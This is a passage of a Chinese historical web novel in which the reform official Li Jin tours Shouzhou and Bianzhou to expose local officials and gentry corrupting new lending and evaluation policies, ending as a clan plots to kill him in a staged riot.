“殿下,此乃预料之中。”李瑾沉声道,“冰冻三尺,非一日之寒。要融化这坚冰,既需阳光(政策),也需利斧(决心与手段)。眼下这些奏报,半真半假,若处理不当,反成其口实。臣以为,当 双 管 齐 下。”
“讲。”
“ 一 者, 朝 廷 需 迅 速 应 对, 澄 清 谣 言, 解 决 实 际 困 难。 立即明发诏令,重申‘青苗贷’无需以田宅子女为质,严禁胥吏额外索贿,违者严惩不贷。同时,从太仓调拨部分粮食,支援汴州等试点地区,以安民心,亦展示朝廷决心。对于冀州所请‘宽限’,可酌情考虑部分地区新垦土地头三年减免部分赋税,但‘考成’之期与核心指标,绝不能动摇,此乃新政根本。至于江南州学师资教材,责令国子监、弘文馆、司业寺等即刻筹措,选派人员,限期解决。 要 让 天 下 人 看 到, 朝 廷 推 行 新 政 之 心 坚 如 铁 石, 且 有 能 力 解 决 实 际 问 题。**”
“ 二 者, 光 靠 文 书 往 来, 难 明 真 相。 必须 派 出 得 力 干 员, 深 入 试 点 州 县, 明 察 暗 访, 掌 握 第 一 手 实 情。 看看究竟是确有困难,还是人为制造障碍;看看是百姓真的疑虑,还是豪强在背后煽动。 御 史 台 的 人 要 派, 但 恐 怕 不 够, 也 未 必 全 都 可 靠。 臣 请 旨, 愿 亲 赴 地 方, 巡 察 新 政 推 行 实 况, 遇 有 阻 挠 破 坏、 阳 奉 阴 违 者, 无 论 其 背 景 如 何, 皆 可 凭 陛 下 与 殿 下 所 赐 信 物, 先 行 处 置, 以 儆 效 尤!” 李瑾的声音斩钉截铁,他知道,与这些盘根错节的旧势力斗争,仅靠公文和律令远远不够,需要有人深入虎穴,去撕开那层温情脉脉、却坚韧无比的伪装。
武媚娘凝视着李瑾,从他年轻的脸上看到了与自己相似的决绝与锋芒。她缓缓点头:“准。本宫会请陛下赐你临机专断之权,授你尚方剑,代天巡狩。 新 政 成 败, 在 此 一 举。 长安有本宫与李司空坐镇,朝堂之上的风浪,自有我们来应对。你此去地方,便是新政的尖刀,要替陛下与本宫, 斩 开 那 些 盘 根 错 节 的 荆 棘, 让 阳 光 照 进 去!** 万事,小心。”
“臣,领旨!”李瑾躬身,眼中燃起斗志的火焰。他知道,真正的考验,此刻才正式开始。朝堂上的辩论只是序曲,地方上的博弈,才是决定新政生死的主战场。那些隐匿在奏报背后、藏在乡绅笑容里、化入胥吏笔尖的“阴阻”,正等着他去面对,去粉碎。
永徽新政的利刃,即将离开朝堂的鞘,斩向地方那潭深不见底的浑水。
第105章 瑾巡访州县
永徽五年三月,春寒料峭。一队看似普通的商旅车马,在泥泞的官道上迤逦而行。队伍中央一辆不起眼的青幔马车里,坐着便服出行的李瑾。他未着官袍,只一身靛蓝圆领棉袍,外罩半旧披风,面容清瘦了些,眼底带着长途奔波的血丝,但目光却比在长安时更加锐利沉静,仿佛淬炼过的寒铁。
车厢内,除他之外,只有两名心腹随从。一人是皇帝特赐的百骑司精锐,名唤赵虎,沉默剽悍,目光如鹰。另一人则是他从国子监算学、明法科中亲自挑选的年轻士子,名唤苏稷,机敏干练,熟谙文书律令。车帘低垂,隔绝了外间景象,但李瑾手中,正翻阅着一沓从不同渠道收集来的密报与地方文书,眉头微锁。
“公子,”苏稷压低声音,指着其中一份道,“这是汴州‘惠农钱庄’开张首月的账目摘要,从……特殊渠道得来。表面看,贷出粮食三百石,钱五百贯,息率确为二成。但据我们潜入的人暗中查访,这‘三百石粮’中,至少有五十石是陈年旧粟,甚至掺有沙土;‘五百贯钱’里,劣钱、短陌(不足数)占了近三成。而借贷契约,与朝廷颁布的制式契约有细微差别,多了一行小字:‘自愿补贴钱庄损耗及胥吏脚力钱,约本息之一成’。百姓多不识字,画押时被胥吏手指一带,便摁了上去。实际借贷成本,远超三成。更有甚者,有胥吏与当地米行勾结,逼迫借贷农户以贷得之钱,高价购买米行之粮,其间回扣,不言而喻。”
李瑾指尖轻轻敲击着那份账目摘要,声音平静无波:“汴州刺史冯全,出身荥阳郑氏门下,其长女嫁与郑家一远支子弟。州司马郑伦,便是郑氏族人。这‘惠农钱庄’的主事胥吏,是郑伦妻弟。好一个‘肥水不流外人田’。” 他抬眼看苏稷,“百姓反应如何?”
“敢怒不敢言者多。” 苏稷苦笑,“有私下抱怨的,但被里正乡老‘告诫’,言道能借到官贷已是天恩,莫要生事,否则日后借贷无门。也有愚昧者,真以为那多出的一成是‘规矩’。当然,也有实在活不下去,明知是火坑也往里跳的。还有部分农户,被郑家等大户暗中警告,不敢去官贷,只能咬牙继续借那‘对本利’的高利贷。”
“冀州那边呢?” 李瑾将汴州文书放到一边,拿起另一份。
“冀州刺史卢谦,是范阳卢氏旁支。‘考成法’细则下达后,他倒是雷厉风行,即刻召集属县,严令推行。不过……” 苏稷抽出一张草图,“公子请看,这是冀州上报的‘新垦荒田分布图’。标注的新垦之地,多集中在州城以北、临近滹沱河的几处。但据我们的人实地暗访,其中至少有三处,名为‘新垦’,实为将原有民田强行划入官府‘垦荒’范围,勒令原主补缴‘垦荒赋税’,而真正的荒地,却只是稍作平整,立了界碑,并未实际播种。更有两处标注‘新修水利’之处,只是将旧有沟渠稍作清理,便报为新建。如此,垦田数额、水利工程两项考成,便轻松‘达标’。至于赋税完纳,则是将往年积欠,强行摊派到今年,逼迫百姓提前缴纳,甚至不惜动用衙役催逼,已激起数起民怨。卢刺史上报的‘狱讼清结率’高达九成,实则多是将案子压而不决,或逼迫苦主‘和解’了事。州学、县学倒是新挂了牌子,也请了两位老秀才坐镇,但所授仍全是经学诗赋,对算学、律学、格物,只字不提。”
赵虎在一旁补充道:“公子,冀州卢家,还有郑家、王家在当地的田庄,最近都在以低于市价一成的价格,收购铜钱和布帛,囤积起来。似乎……在准备应对什么。”
“应对官贷可能带来的冲击,也可能是准备在必要时候,扰乱市面。” 李瑾眼中闪过一丝冷意,“看来,太尉‘体恤下情、徐徐图之’的方略,地方上执行得很到位。阳奉阴违,欺上瞒下,变本加厉。 他 们 是 想 用 这 一 套 把 戏, 把 新 政 变 成 害 民 之 政, 逼 迫 朝 廷 自 行 收 回 成 命。**”
“公子,我们是否先往汴州或冀州?擒贼先擒王。” 赵虎手按刀柄。
李瑾却摇了摇头,手指点向地图另一处:“不,先去这里—— 淮 南 道, 寿 州。”
苏稷和赵虎都有些诧异。寿州并非三大试点中问题看似最突出的,刺史也非顶级门阀出身。
“寿州,是联名上书,言‘青苗贷’伤乡谊、手续繁、有谣传需服额外徭役之地。” 李瑾缓缓道,“此等‘民意’,往往最是惑人。且寿州情况特殊,境内有安丰塘等大型水利,农户对借贷依赖不如汴、冀等地深,豪绅势力盘根错节,宗族影响极大。他们跳出来,恐怕不仅是抵制‘青苗贷’,更是 对 ‘ 考 成 法’ 中 削 弱 乡 绅 权 力、 强 化 官 府 直 接 管 理 的 一 种 试 探 性 反 抗。 打 掉 这 个 ‘ 民 意 样 板’, 可 以 震 慑 一 大 片。 况且,寿州问题相对‘文雅’,更利于我们 先 立 规 矩, 再 动 刀 兵。**”
十日后,寿州州治寿春县。城门口的“惠农钱庄”告示前,围着不少百姓指指点点,却无人上前。几名胥吏坐在钱庄门内的条凳上,磕着瓜子,闲聊着,偶尔瞟一眼门外,眼神带着几分轻蔑与不耐。
李瑾扮作游学书生,带着扮作书童的苏稷和护卫赵虎,在附近茶摊坐下。很快,便从茶客和掌柜的闲聊中,听到了与联名上书内容几乎一致的抱怨:“……说是利息低,可手续麻烦得很哩!要里正作保,要乡老画押,还要去县衙户房开什么‘清白文书’,来来去去,腿都跑断!”“可不是,还说要等上面核准,没个十天半月下不来,地里庄稼可等不起!”“听说了吗?王家庄的王老三,想去借钱,被那钱庄的刘书办暗示,要这个数……” 茶客偷偷比了个手势,“说是‘润笔钱’,不然就慢慢等。王老三家徒四壁,哪还有钱?只好作罢。”“唉,还是找张老爷家借吧,虽说利息高点,但立等可取,乡里乡亲的,还好说话……”
李瑾静静听着,不动声色。苏稷悄悄记下几个关键名字:刘书办,张老爷。
午后,李瑾一行来到州衙,并未亮明身份,只以游学士子拜会刺史为由,递上名帖(当然是用化名)。寿州刺史姓周,名渭,并非高门大族出身,考取明经后累迁至此。他闻有士子来访,倒也客气接见。交谈中,周渭对新政满口称颂,但眉宇间带着浓重的忧虑和疲惫。
“不瞒贤弟,” 周渭叹道,“朝廷新政,自然是好的。只是……地方有地方的难处。胥吏疲玩,已成积习。豪绅大户,树大根深。就说这‘青苗贷’,章程是好的,可一到下面,就变了味。本官也严厉申饬过,可那些人阳奉阴违,本官总不能事事亲力亲为。还有那联名上书……唉,本地乡绅,多有在朝为官者,或与朝中大佬有旧,他们联名递上来的东西,本官也不好置之不理。只能据实转奏,请朝廷体察下情。” 言语之间,将责任推给了胥吏、豪绅和“朝廷体察”,自己只是个夹在中间、无可奈何的“老实官”。
李瑾故作懵懂,问道:“那‘考成法’推行如何?晚生见城中气象,似乎颇有新意?”
周渭精神微振,道:“此事本官倒是不敢懈怠。已严令各县,务必按朝廷章程办理。新垦田地、清理狱讼、兴修水利、劝学教化,皆有专人负责,按月呈报。只是……” 他又叹了口气,“百废待兴,千头万绪,钱粮人力,处处掣肘。且有些指标,譬如垦田,非一日之功;有些旧案,牵涉人情,也难急切断清。只能勉力为之,力求无过。”
离开州衙,李瑾对苏稷道:“这位周使君,是个滑不溜手的老吏。不公然对抗,也不全力推行,诉苦叫难,敷衍塞责,新政在他治下,注定不死不活。他怕得罪地方豪绅,更怕事情闹大,丢了自己官帽。 此 等 官 员, 比 那 些 明 目 张 胆 贪 腐 的, 更 为 可 恶, 他 是 在 用 沉 默 和 敷 衍, 慢 慢 绞 杀 新 政。**”
“公子,接下来如何做?”
“ 先 敲 山 震 虎, 再 顺 藤 摸 瓜。**” 李瑾目光投向城南方向,“去会会那位‘乡谊深厚’的张老爷,还有那位手眼通天的刘书办。”
是夜,寿春县最大的酒楼“醉仙楼”后院雅阁,灯火通明。本县数得着的乡绅齐聚一堂,为首者正是那位“张老爷”张裕,本地首富,与寿州司马是连襟,其子娶了本州一位致仕老翰林之女,在地方上可谓盘根错节。作陪的,便有“惠农钱庄”的刘书办,以及县衙的户房、刑房几位胥吏头目。
“各位,长安的那位李相,听说已经出京巡查了。咱们那封联名上书,还有近日的风声,会不会……” 一位乡绅有些忐忑。
张裕捻着胡须,老神在在:“怕什么?我等所言,句句属实,皆为乡梓安宁着想。手续繁琐,可是实情?百姓疑虑,难道有假?至于些许流言,市井小民以讹传讹,与我等何干?周使君不也说了,会‘据实上奏’么?朝廷总不能不体谅地方实情吧?” 他瞥了一眼刘书办,“刘老弟,你那钱庄,近来可还‘顺手’?”
刘书办满脸堆笑:“托张老爷和各位的福,一切照旧。该快的快不了,该慢的……也急不来。规矩嘛,总是要讲的。” 众人会心一笑,举杯共饮。
就在此时,雅阁门被轻轻推开。一名身着青袍、面容冷峻的年轻人缓步走入,身后跟着一壮一瘦两名随从。正是李瑾、赵虎、苏稷。
“诸位好雅兴。” 李瑾淡淡道,目光扫过席间众人。
张裕眉头一皱,放下酒杯:“阁下是?此乃私宴,不迎外客。”
李瑾不答,径直走到主位空着的一席坐下(那是留给寿州司马的,但司马今日恰好“抱恙”未至)。赵虎按刀立于其身后,苏稷则从怀中取出一卷黄绫,朗声道:“陛下有旨,敕令同中书门下平章事、巡边宣抚使、领户部尚书李瑾,巡查河南、河北、淮南诸道,督办新政,察访民情,便宜行事。相关官吏军民,一体听调!尚方剑在此,如朕亲临!”
“尚方剑”三字一出,满座皆惊!那是天子佩剑,可先斩后奏!张裕手中酒杯“当啷”落地,刘书办脸色瞬间惨白,其他乡绅胥吏更是呆若木鸡。
李瑾慢条斯理地从苏稷手中接过尚方剑,置于案上,目光如电,看向张裕:“张员外,你等联名上书,言‘青苗贷’伤乡谊、手续繁、有谣传需服额外徭役。本相一路行来,听闻你张家放贷,利息常是‘对本利’,且多以田产、子女为抵。不知这‘乡谊’,在你张家是如何算的?是利滚利的‘乡谊’,还是强夺田产的‘乡谊’?”
“李、李相……草民,草民……” 张裕汗如雨下,语无伦次。
李瑾不再看他,转向刘书办:“刘书办,你主管‘惠农钱庄’借贷文书。朝廷明文规定,借贷契约需用统一制式,严禁添加条款,严禁索取规费。你手中经办的契约,那行‘自愿补贴钱庄损耗及胥吏脚力钱’的小字,是谁允许你加上的?所索‘润笔钱’,又进了谁的腰包?”
“相爷饶命!相爷饶命!是……是郑司马……不,是小的猪油蒙了心……” 刘书办瘫软在地,磕头如捣蒜。
“还有你们,” 李瑾目光扫过那几个胥吏头目,“催逼赋税,欺压良善,与豪绅勾结,欺上瞒下,真当朝廷不知?真当王法不在?”
他猛地一拍桌案,声如寒冰:“来人!”
赵虎踏前一步,声如洪钟:“在!”
“将张裕、刘有才(刘书办)及一干人等,全部拿下!查封张府、刘宅,详查其田产、账目、借贷契约!涉案胥吏,革去职役,收监听审!” 李瑾语速不快,但字字千钧,“另,即刻通知寿州刺史周渭、司马郑某,及各县令,明日辰时,于州衙大堂议事!不到者,以抗旨论处!”
当夜,寿春县鸡飞狗跳。张府、刘宅被赵虎带来的百骑司好手和随后赶到的州兵团团围住,查抄出大量地契、账册、借贷文书,其中不乏巧取豪夺、逼人为奴的铁证。刘书办家中,更是搜出与州司马郑某往来书信,其中提及如何操纵“惠农钱庄”、如何与张家等大户分利的细节。
消息像风一样传遍寿州。那些原本观望、抱怨、被豪绅裹挟的百姓和小地主,先是惊疑,继而振奋。而参与联名上书的其他乡绅,则人人自危,连夜求见周刺史,或向州司马打听消息,却被告知郑司马“突发急病”,已被李相派人“请”去“协助调查”了。
次日辰时,州衙大堂。气氛凝重如铁。周渭及所属各县县令战战兢兢立于堂下。李瑾端坐主位,尚方剑横于案前。苏稷在一旁整理昨夜查抄的部分账册证据。
“周使君,” 李瑾开口,声音不大,却让周渭浑身一颤,“朝廷推行新政,是为国为民。尔身为刺史,牧民一方,上不能体会朝廷德意,下不能遏制胥吏豪强,坐视新政变形走样,民怨暗生,反以‘地方难处’、‘豪绅上书’为由,敷衍塞责。你可知罪?”
周渭噗通跪下,以头触地:“下官……下官知罪!下官无能,驭下不严,察事不明,有负朝廷重托,请相爷治罪!”
“治罪?自然要治。” 李瑾冷冷道,“但念你尚未发现同流合污、贪墨受贿之实证,且给你一个戴罪立功的机会。即刻起,暂停你刺史职权,由本相带来的苏稷暂代州府户曹参军,会同百骑司,全面核查寿州‘青苗贷’推行实情及‘考成法’各项数据真伪。你要全力配合,若有半点隐瞒阻挠,两罪并罚!”
“下官遵命!下官一定全力配合!” 周渭如蒙大赦,连连磕头。
李瑾又看向那些面色惨白的县令:“尔等治下,‘考成法’执行如何,‘青苗贷’有无弊情,各自心中有数。本相给你们三日时间,回去彻底自查,将真实情况,不法胥吏,勾结豪绅,虚报瞒报之事,一五一十写成详文,具结画押,报上来!坦白者,可从轻发落。隐瞒不报,或敷衍了事者……” 他目光如刀,扫过众人,“张裕、刘有才,还有那位‘突发急病’的郑司马,便是榜样!”
县令们噤若寒蝉,连声称是。
“此外,” 李瑾语气稍缓,但依旧冷峻,“自即日起,寿州‘惠农钱庄’借贷事务,由苏稷直接监管。重新审核所有已发贷款,废除一切附加条款,退还多收钱粮。有胥吏勒索者,严惩不贷!再敢有散播谣言、阻挠百姓借贷者,无论何人,以破坏新政论处!各州县‘考成’数据,本相会派人随机抽查复核,凡有弄虚作假者,主官立撤,永不叙用!”
一番雷厉风行的处置,如霹雳雷霆,震动了整个寿州官场和乡绅阶层。李瑾并未大规模株连,但精准地拿下了几个典型,罢黜了最主要的阻挠者(郑司马),震慑了摇摆的中间派(周渭及县令们),并迅速接管了关键事务。更重要的是,他向所有观望者传递了一个清晰无比的信号:朝廷推行新政的决心不容置疑,任何阳奉阴违、变相抵制,都将遭到无情打击。
数日后,寿州的“惠农钱庄”前,排队借贷的百姓渐渐多了起来。新贴出的告示言明:手续从简,严禁勒索,违者可直赴巡察院(李瑾临时设立的办公点)告发。苏稷坐镇,亲自处理了几起胥吏怠慢事件,风气为之一清。虽然困难仍有,但那股沉郁的抵制氛围,开始松动。
李瑾在寿州只停留了半月。这半月里,他白天处理政务,接见告状百姓,晚上审核各地报来的“自查文书”和苏稷查抄的账册。他提拔了两位在“考成法”中如实上报困难、但确实勤勉做事(虽然效果有限)的寒门县令,严厉申饬了三位敷衍了事的官员,并根据查实的证据,将包括张裕、刘有才在内的数名豪绅胥吏,以及那位“病愈”后试图狡辩的郑司马,一并革职查办,财产充公,主要案犯押送长安刑部审理。寿州官场,经历了一场不动声色却伤筋动骨的清洗。
临行前,李瑾对送行的周渭(已被暂时留任,以观后效)和苏稷道:“新政如医病,用猛药去疴,用温药固本。寿州之疴已去其标,但病根犹在。苏稷,你留在此处,不仅要理清钱粮刑名,更要 将 朝 廷 的 新 规、 新 法, 真 正 扎 下 根 去。 要 让 百 姓 知 道, 朝 廷 的 政 令, 是 可 以 直 达 乡 里 的; 要 让 胥 吏 明 白, 朝 廷 的 法 度, 是 不 容 亵 渎 的。 同 时, 对 那 些 愿 意 合 作、 守 法 的 乡 绅, 也 要 给 予 出 路, 稳 定 人 心。**”
“下官明白!” 苏稷肃然应道。
“周使君,” 李瑾看向这位老官僚,“戴罪之身,好自为之。新政是国策,顺之者昌。是做一个尸位素餐、最终被扫进故纸堆的庸官,还是做一个顺应时势、有所作为的能吏,你好生思量。”
周渭冷汗涔涔,连连躬身:“下官一定洗心革面,全力辅助苏参军,推行新政,不负相爷教诲!”
离开寿州时,李瑾没有惊动太多人。马车悄然驶出寿春城门,朝着下一站——问题更为复杂尖锐的汴州行去。车中,他闭目养神,手中摩挲着尚方剑的剑柄。寿州只是一个开始,一场敲山震虎。接下来的汴州、冀州,才是真正的硬仗。那里盘踞的,是郑氏、卢氏这样的庞然大物,他们的抵抗,绝不会像寿州这般“文雅”。但李瑾眼中毫无惧色,只有一片冰冷而坚定的锐芒。
地 方 的 坚 冰, 已 被 凿 开 了 第 一 道 裂 缝。 接下来,他要让这裂缝,蔓延至那些看似坚不可摧的堡垒深处。
第106章 血溅巡察院
永徽五年四月,暮春的汴州,空气中弥漫着湿润的泥土气息和隐隐的躁动。汴水汤汤,穿城而过,滋养着这座中原大邑,也滋养着盘踞于此、枝繁叶茂的荥阳郑氏及其姻亲故旧网络。李瑾在寿州雷厉风行的消息,比春风更快地吹到了这里,在看似平静的市井水面下,激起了冰冷的潜流。
汴州刺史冯全,这位郑家的“门生”,比寿州的周渭要谨慎得多,也棘手得多。他并未像周渭那般消极敷衍,反而摆出了一副积极推行新政的姿态。李瑾的车驾尚未入城,迎接的仪仗和歌功颂德的士绅百姓(其中多少是自愿的,值得玩味)就已排列在城门外。冯全本人更是亲自出迎,态度恭谨至极。
“下官冯全,携汴州同僚、父老,恭迎李相莅临巡察!李相不辞辛劳,代天巡狩,体察民情,实乃汴州百姓之福!” 冯全四十许年纪,面皮白净,三缕长髯,笑容得体,言语周到,挑不出一丝错处。
李瑾下得车来,虚扶一把,淡淡道:“冯使君不必多礼。本相奉旨巡察新政,旨在纠弊兴利,还望使君与诸位同僚,坦诚相待,同心协力。”
“那是自然,那是自然!” 冯全连连点头,侧身引路,“相爷一路劳顿,下官已在州衙略备薄酒,为相爷接风洗尘。新政推行诸事,席间再向相爷详细禀报,如何?”
“接风就免了。” 李瑾摆摆手,目光扫过那些穿着整齐、面带“感激”笑容的“父老”,心中冷笑,面上却不动声色,“本相沿途已听闻汴州‘惠农钱庄’办得红火,百姓交口称赞。不如先去看看钱庄,再看看州衙案牍,酒宴之事,容后再说。”
冯全笑容微不可查地僵了一下,旋即恢复自然:“相爷勤于王事,下官钦佩!既如此,便请相爷移步‘惠农钱庄’,只是那里嘈杂鄙陋,恐怠慢了相爷。”
“无妨,本相就是来看实情的。” 李瑾当先而行。赵虎、苏稷紧随其后,百骑司的好手们则不动声色地散入人群和四周街巷。
汴州的“惠农钱庄”设在州衙东侧一座修缮一新的院落里,门面宽敞,人来人往,看起来颇为热闹。门口有胥吏维持秩序,院内设有几张桌案,有书办在登记、发放契约,看起来井然有序。借贷的百姓排着队,脸上虽仍有菜色,但似乎并无太多怨愤之色。
冯全在一旁介绍:“自朝廷颁行‘青苗贷’,下官不敢怠慢,即刻遴选得力胥吏,辟此专院,严令依制办理。月余以来,已放贷粮食一千五百石,钱三千贯,惠及农户近千户。百姓无不感念陛下、皇后与相爷恩德。” 说着,指向墙上张贴的告示和整齐码放的契约样本,“一切皆按朝廷章程,息率明示,契约统一,绝无额外加征。下官每日必来巡视,严防胥吏舞弊。”
李瑾点点头,走到一张桌案前,随手拿起一份刚刚签押的契约副本。格式确是朝廷统一制式,条款清晰,息率写明二成。借贷的是一名老农,正颤巍巍地按手印。书办态度也算和气。
“老丈,借这钱粮,可还顺当?有无胥吏刁难,额外索要?” 李瑾温声问道。
老农有些惶恐地看了一眼旁边的冯全和书办,低下头,嗫嚅道:“顺当,顺当……青天大老爷的恩典,顺当……”
李瑾不再追问,又看了几份已办结的契约,表面看去,确实无懈可击。他抬眼看了看钱庄后院,那里堆放着一些麻袋,似乎是存粮。
“粮食品相如何?可都是新粮?”
“回相爷,皆是去岁秋收的好粮,下官亲自查验过的。” 冯全连忙道。
李瑾不置可否,对苏稷使了个眼色。苏稷会意,借口如厕,悄然离开。片刻后回来,对李瑾几不可察地摇了摇头——他刚才趁人不备,用随身小刀在角落一袋粮食上划了个小口,里面露出的谷物,成色尚可,但绝非全是“好粮”,夹杂着些许陈粟。
李瑾心中有数,不再多看,对冯全道:“看来冯使君确实用心了。本相有些乏了,先去驿馆歇息。明日再来州衙,查看‘考成法’相关卷宗。”
“下官早已为相爷备好驿馆上房,请相爷随下官来。” 冯全暗松一口气,笑容更加殷勤。
接下来的两日,李瑾白日里查阅州衙文书,听取汇报,晚间则在驿馆梳理所得。冯全准备得极为“充分”,各项“考成”数据,如户口、垦田、赋税、狱讼、学校、民情,皆条目清晰,数字“漂亮”,卷宗垒得整整齐齐,任谁看了,都要夸一句“治绩斐然”。至于“青苗贷”,更是账目清楚,手续完备,几乎挑不出毛病。
然而,正是这“挑不出毛病”,让李瑾心中的疑虑更深。汴州的情况,比寿州复杂十倍。寿州的抵制是消极的、粗糙的,而汴州的抵制,则是积极的、精致的。他们 不 是 对 抗 新 政, 而 是 在 “ 完 美 执 行” 新 政 的 表 象 下, 悄 然 置 换 了 内 核。 粮食掺陈,只是微不足道的一环。真正的关键在于, 谁 能 借 到 钱 粮? 借 到 的 钱 粮 最 终 流 向 了 哪 里?**
苏稷和赵虎带人暗中查访数日,带回的消息印证了李瑾的猜测。那些在“惠农钱庄”排队借贷的“农户”,相当一部分是郑家及其附庸家族的佃户、仆役,甚至是冒充的。真正的贫苦农户,要么被各种“手续不全”、“担保不足”等理由婉拒,要么在漫长的排队和“审核”中耗尽耐心,最终不得不转向早已“等候”在旁的郑家等大户的高利贷。而借出的官贷,经过这些“白手套”一转手,往往又流回了大户手中,或用于囤积居奇,或用于发放更高利息的借贷。朝廷的惠民之策,在汴州,几乎成了大户们套取低成本资金、进一步盘剥百姓的工具!而这一切,在冯全精心制作的账目和报告中,被掩盖得天衣无缝。
更棘手的是,汴州的胥吏体系,几乎被郑家经营得铁板一块。从州衙的户曹、仓曹,到县里的三班六房,关键位置皆有郑家姻亲、门人或被其掌控把柄之人。想要从内部突破,难如登天。百姓受其积威压迫,又得了些许“秩序井然”的假象,敢怒不敢言,甚至有些被蒙蔽者,真的以为“冯青天”推行新政有力。
“公子,这冯全和郑家,比寿州那帮人高明太多。他们是在用新政的壳,行旧弊之实。我们明面上抓不到把柄,强行查办,恐其以‘推行新政得力’反咬一口,煽动‘民意’。” 苏稷眉头紧锁。
赵虎也道:“驿馆四周,明里暗里多了不少眼线。冯全每日‘殷勤’问候,实则监视。我们的人外出查访,也时常被不明身份的人跟踪。公子,此地不宜久留,恐有危险。”
李瑾站在驿馆窗前,望着汴州城的夜色。街道上灯火阑珊,看似平静,但他能感受到那平静之下涌动的暗流。冯全和郑家,绝不会满足于仅仅“应付”他。寿州的雷霆手段,已让他们成了惊弓之鸟。他们现在摆出这副“积极配合”的姿态,既是麻痹,也是试探。若自己查不出实质证据,或迫于“完美”表象无法发作,他们便算过关,甚至能借此邀功。但若自己执意深挖……
“他们不会让我轻易离开汴州,带着疑点离开。” 李瑾缓缓道,“要么,我查不出什么,灰溜溜地走;要么,我‘意外’地死在这里。前者是他们期待的,后者……恐怕也已在他们预案之中。” 他转过身,眼中寒光闪烁,“既然他们布好了局,那我们就将计就计,逼他们自己跳出来。”
次日,李瑾突然下令,在州衙旁另设“巡察院”,公开受理百姓对新政推行过程中所有不公、舞弊之事的申诉,无论涉及官员、胥吏还是豪绅,皆可前来告发,并承诺严格保密,严惩不贷。同时,他要求冯全提供“惠农钱庄”所有借贷农户的详细名册、住址、田产及担保人信息,声称要“随机走访,复核实效”。
这两招,如同两根钢针,直刺冯全和郑家的命门。公开受理申诉,等于打开了百姓言路的口子,即便多数人仍不敢告,但只要有一两个“愣头青”或苦大仇深者鼓起勇气,就可能引爆火药桶。而复核借贷农户,则意味着他们要深入乡里,实地查证那些“白手套”的真伪,谎言将无处遁形。
冯全的笑容终于维持不住了。他一面应付着李瑾,表示“全力配合”,一面暗中加紧了布置。
巡察院开张的头两天,门可罗雀。显然,郑家的积威和冯全的“政绩”仍然有着强大的威慑力。但到了第三天,一个衣衫褴褛、面黄肌瘦的老汉,在院门外徘徊了许久,终于一咬牙,冲了进来,扑通跪倒在地,高喊“青天大老爷申冤!”
老汉姓韩,是城郊佃户。其子去年因病借了郑家一笔“对本利”的高利贷,利滚利之下,无力偿还。郑家恶仆逼债,将其仅有的三亩薄田和两间茅屋夺走,还将他儿子抓去为奴抵债。韩老汉告到县衙,反被以“诬告良善、扰乱公堂”为由打了板子赶出。听闻巡察院可告豪强,他拼死前来。
李瑾亲自接见,详细记录了案情,并让苏稷立即带人按老汉提供的线索去查。虽然料到郑家必然已将痕迹抹得差不多,但这“第一声鼓”,意义重大。消息不胫而走,巡察院外,悄悄聚集了一些观望的百姓。
冯全很快得知了消息,当夜,他并未亲自出面,但李瑾的驿馆外,眼线明显增多,甚至出现了几个形迹可疑、目光凶悍的江湖人物。赵虎加强了戒备,百骑司的好手也提高了警惕。
第四天,又有几个胆大的百姓,悄悄递了状纸,内容大同小异,皆是指控郑家及其爪牙巧取豪夺、欺压良善,并与胥吏勾结,阻挠他们获取“青苗贷”。矛头开始隐隐指向州衙。
压力,如同不断收紧的绞索,勒向了冯全和其背后的郑家。他们知道,一旦让李瑾抓住确凿证据,坐实了“阳奉阴违、欺上瞒下、盘剥百姓、扭曲新政”的罪名,那就不只是丢官去职,很可能抄家灭族!尤其是李瑾手中那柄“尚方剑”,有着先斩后奏的恐怖权力。
“不能让他再查下去了!” 汴州城东南,一座深宅大院内,郑氏家主郑元礼(郑伦族兄,致仕的工部侍郎)面色阴沉,对冯全和几位核心族人、依附的豪强道,“寿州之事,已是前车之鉴。李瑾此子,心狠手辣,不循常理。他设这巡察院,就是要挖我们的根!那些泥腿子,平日里畏我如虎,如今见有了一丝指望,便如野草见风,蠢蠢欲动。再让他折腾几日,恐生大变!”
“叔父所言极是。” 一个面容阴鸷的中年人接口,他是郑元礼的侄子,现掌管家中外务,“可李瑾是钦差,手握尚方剑,身边又有百骑司护卫,硬来不得。除非……” 他眼中凶光一闪。
冯全冷汗涔涔:“不可!刺杀钦差,形同谋逆!一旦事发,那是诛九族的大罪!长安那边,皇后和李勣绝不会善罢甘休!”
“难道坐以待毙?” 另一人怒道,“他查下去,我们一样是死!而且会死得更难看!别忘了,这些年我们做的事,哪一件经得起查?光是隐匿田产、偷漏赋税、私设刑堂这几条,就够砍头了!何况还有扭曲新政、欺君罔上!”
郑元礼抬起手,止住争吵,浑浊的老眼中闪过一丝狠厉:“冯使君说得对,刺杀钦差,风险太大。但……若钦差自己‘行事不慎’,‘激起民变’,在混乱中‘意外’身亡呢?”
众人一愣,看向郑元礼。
“李瑾不是要查吗?不是要为民申冤吗?” 郑元礼缓缓道,“那我们就给他‘冤情’!找几个‘苦主’,去巡察院喊冤,就说……家中子弟被李瑾的护卫无故殴打致死,或妻女被巡察院的人掳走侮辱。然后,我们再派人煽动‘义愤’的百姓,聚集巡察院,要求李瑾给个说法。届时,人群混乱,冲突一起,刀剑无眼……李瑾‘激变地方,处置失当,不幸罹难’,这个罪名,够不够?”
冯全听得心惊肉跳:“这……这能行吗?百姓岂会轻易被煽动?”
“百姓懂什么?” 郑元礼冷笑,“给点钱,让混在里面的自己人带头喊打喊杀,再趁乱放几把火,杀几个人,场面一乱,什么事都可能发生。事后,我们就是平定民变、保护钦差(不幸身亡)的功臣!至于真相,死无对证,还不是我们说了算?长安那边,天高皇帝远,皇后再怒,没有实证,又能如何?难道还能把整个汴州的官吏百姓都杀光?”
屋内陷入短暂的沉默,只有灯花爆开的细微声响。这是一个极其冒险、但似乎又能一举解决所有麻烦的计划。
“好!就依叔父之计!” 阴鸷中年人咬牙道,“我手下养着些亡命之徒,正好派上用场。再联络城里那些泼皮无赖,许以重利,让他们混在百姓中煽风点火。”
“官府这边,我来安排。” 冯全擦着汗,知道已无退路,“巡街的武侯、州衙的差役,我会让他们‘晚到’片刻。但……事后清查,需得干净利落,不能留下活口把柄。”
“自然。” 郑元礼点头,看向窗外沉沉的夜色,“事不宜迟,就在明日午时,巡察院外人流最多之时动手。记住,要做得像一场‘意外’的民变。”
阴谋,在夜色中酿成。一张针对李瑾的死亡之网,悄然张开。
而此刻的巡察院内,李瑾正在油灯下,审阅着今日收到的几份新诉状,眉头越皱越紧。这些诉状,指控的矛头越来越直接地指向州衙高级官吏,甚至隐约牵扯到冯全。他嗅到了一丝不寻常的气息——对方似乎有些……着急了?
